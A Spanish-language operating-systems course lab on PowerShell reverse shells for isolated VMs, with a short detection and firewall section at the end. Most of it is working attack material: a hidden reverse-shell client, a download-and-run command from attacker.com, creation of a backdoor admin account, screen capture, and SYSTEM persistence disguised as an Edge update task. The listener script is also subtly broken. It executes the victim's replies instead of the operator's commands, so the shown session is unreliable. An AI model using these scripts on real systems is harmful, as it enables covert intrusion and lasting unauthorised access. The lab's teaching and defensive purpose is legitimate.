Saltar al contenido principal

Lab 3.2: Reverse Shell y Control Remoto

Objetivos de Aprendizaje​

Al final de este laboratorio, usted será capaz de:

  • Comprender el concepto de reverse shell
  • Establecer una conexión reverse shell entre dos máquinas
  • Ejecutar comandos de forma remota
  • Transferir archivos entre máquinas
  • Identificar y bloquear reverse shells
  • Comprender cómo los malwares se comunican con su servidor C&C

Duración Estimada​

30 minutos

Prerrequisitos​

  • 2 VMs Windows (o 1 Windows + 1 Kali)
  • Red interna de VirtualBox configurada
  • PowerShell

Contexto Profesional​

Los reverse shells son utilizados por:

  • Pentesters para probar la seguridad de la red
  • Administradores para soporte remoto
  • Malwares para control remoto (RAT)
  • APT para mantener acceso a largo plazo

AUTORIZADO: Solo en sus VMs de prueba, red aislada
PROHIBIDO: En sistemas no autorizados, acceso no autorizado
CONSECUENCIAS: Delito grave - Prisión y multas elevadas


Parte 1: Configuración del Lab​

Paso 1.1: Arquitectura​

VM1: Atacante
IP: 192.168.100.10
Puerto: 4444 (escucha)

VM2: Víctima
IP: 192.168.100.20
Conexión hacia VM1

Paso 1.2: Configuración de Red​

En VM1 y VM2:

Configuración → Red → Red interna "LabNet"

PowerShell - Configuración IP:

# VM1
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.10 -PrefixLength 24

# VM2
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.20 -PrefixLength 24

Prueba:

ping 192.168.100.20

Parte 2: Método PowerShell (Nativo)​

Paso 2.1: VM1 - Listener​

En VM1 (Atacante), guarde listener.ps1:

Write-Host "=== REVERSE SHELL LISTENER ===" -ForegroundColor Cyan
Write-Host "Ecoute sur port 4444..." -ForegroundColor Yellow

$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',4444)
$listener.Start()

$client = $listener.AcceptTcpClient()
$stream = $client.GetStream()

Write-Host "CONNECTION RECUE!" -ForegroundColor Green
Write-Host "IP: $($client.Client.RemoteEndPoint)" -ForegroundColor Yellow
Write-Host ""

[byte[]]$bytes = 0..65535|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nPS " + (pwd).Path + "> ")
$stream.Write($sendbytes,0,$sendbytes.Length)
$stream.Flush()

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)

try {
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String)
} catch {
$sendback = "Error: $_`n"
}

$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}

$client.Close()
$listener.Stop()
Write-Host "Connexion fermee" -ForegroundColor Red

Ejecute:

powershell -ExecutionPolicy Bypass -File listener.ps1

Espere conexión...

Paso 2.2: VM2 - Cliente (Víctima)​

En VM2, guarde reverse.ps1:

$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444)
$stream = $client.GetStream()

[byte[]]$bytes = 0..65535|%{0}

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)

try {
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
} catch {
$sendback = "Error: $_`n"
}

$sendback2 = $sendback
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}

$client.Close()

Ejecute:

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File reverse.ps1

Paso 2.3: ¡CONEXIÓN ESTABLECIDA!​

En VM1, ahora verá:

=== REVERSE SHELL LISTENER ===
Ecoute sur port 4444...
CONNECTION RECUE!
IP: 192.168.100.20:54321

PS C:\Users\Attaquant>

Escriba comandos:

whoami
hostname
Get-Process
Get-LocalUser
Get-ChildItem C:\Users
Get-NetTCPConnection
systeminfo

¡BOOM! ¡Control total de VM2 desde VM1!

Preguntas:

  1. ¿Se estableció la conexión?
  2. ¿Puede ejecutar comandos PowerShell?
  3. ¿Cuánto tiempo tomó establecer la conexión?

Parte 3: Acciones Avanzadas​

Paso 3.1: Transferencia de Archivos​

Descargar un archivo de la víctima:

# En VM1 (desde el shell)
Get-Content C:\Users\Victime\Desktop\secret.txt

Crear un archivo en la víctima:

"¡Ha sido comprometido!" | Out-File C:\Users\Public\pwned.txt

Descargar y ejecutar un script:

Invoke-WebRequest -Uri "http://attacker.com/tool.ps1" -OutFile C:\temp\tool.ps1
. C:\temp\tool.ps1

Paso 3.2: Crear Usuario Backdoor​

Desde el shell en VM2:

net user backdoor P@ssw0rd123! /add
net localgroup Administradores backdoor /add

¡Acaba de crear una cuenta admin permanente!

Paso 3.3: Captura de Pantalla Remota​

Capturar la pantalla de la víctima:

Add-Type -AssemblyName System.Windows.Forms
$screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
$bitmap = New-Object System.Drawing.Bitmap($screen.Width, $screen.Height)
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen($screen.Location, [System.Drawing.Point]::Empty, $screen.Size)
$bitmap.Save("C:\Users\Public\screenshot.png")

Resultado: ¡Captura de pantalla guardada!

Preguntas: 4. ¿Logró crear una cuenta de usuario? 5. ¿Funciona la captura de pantalla?


Parte 4: Persistencia​

Paso 4.1: Tarea Programada Automática​

En VM2, cree persistencia:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\reverse.ps1"

$trigger = New-ScheduledTaskTrigger -AtStartup

$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest

Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" `
-Action $action -Trigger $trigger -Principal $principal

Pruebe:

  1. Reinicie VM2
  2. VM1 inicia listener
  3. ¡Conexión automática!

Preguntas: 6. ¿Funciona la persistencia después del reinicio? 7. ¿La tarea es visible para un usuario normal?


Parte 5: Detección y Defensa​

Paso 5.1: Detectar Conexiones Activas​

Get-NetTCPConnection | Where-Object {$_.State -eq "Established" -and $_.RemoteAddress -ne "127.0.0.1"} | 
Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess,@{
Name="ProcessName"
Expression={(Get-Process -Id $_.OwningProcess).Name}
} | Format-Table

Sospechoso: ¡powershell.exe con conexión externa!

Paso 5.2: Bloquear con Firewall​

New-NetFirewallRule -DisplayName "Block PowerShell Outbound" `
-Direction Outbound `
-Program "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" `
-Action Block

Paso 5.3: Eliminar Persistencia​

Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" -Confirm:$false
Get-Process powershell | Where-Object {$_.CommandLine -like "*reverse*"} | Stop-Process -Force

Preguntas: 8. ¿Detectó el reverse shell? 9. ¿Funciona el bloqueo del firewall?


Entregables​

  1. Documento técnico (3-4 páginas):

    • Respuestas a las 9 preguntas
    • Esquema de arquitectura de red
    • Capturas de pantalla del shell activo
  2. Análisis de seguridad (2 páginas):

    • Detección en empresa
    • Medidas de prevención

Comandos de Referencia​

# Listener (VM1)
powershell -ExecutionPolicy Bypass -File listener.ps1

# Cliente (VM2)
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File reverse.ps1

# Detección
Get-NetTCPConnection | Where State -eq "Established"
Get-Process powershell

# Bloqueo
New-NetFirewallRule -DisplayName "Block" -Direction Outbound -Program "powershell.exe" -Action Block

Conclusión​

Lecciones clave:

  1. Reverse shell = Control total remoto
  2. Elude el firewall fácilmente
  3. PowerShell = Muy potente
  4. Persistencia = Acceso permanente
  5. Detección posible con monitoreo de red

Mensaje: ¡El monitoreo de red saliente es esencial en la empresa!


Lab desarrollado en el marco del curso Sistemas Operativos - MÓDULO 3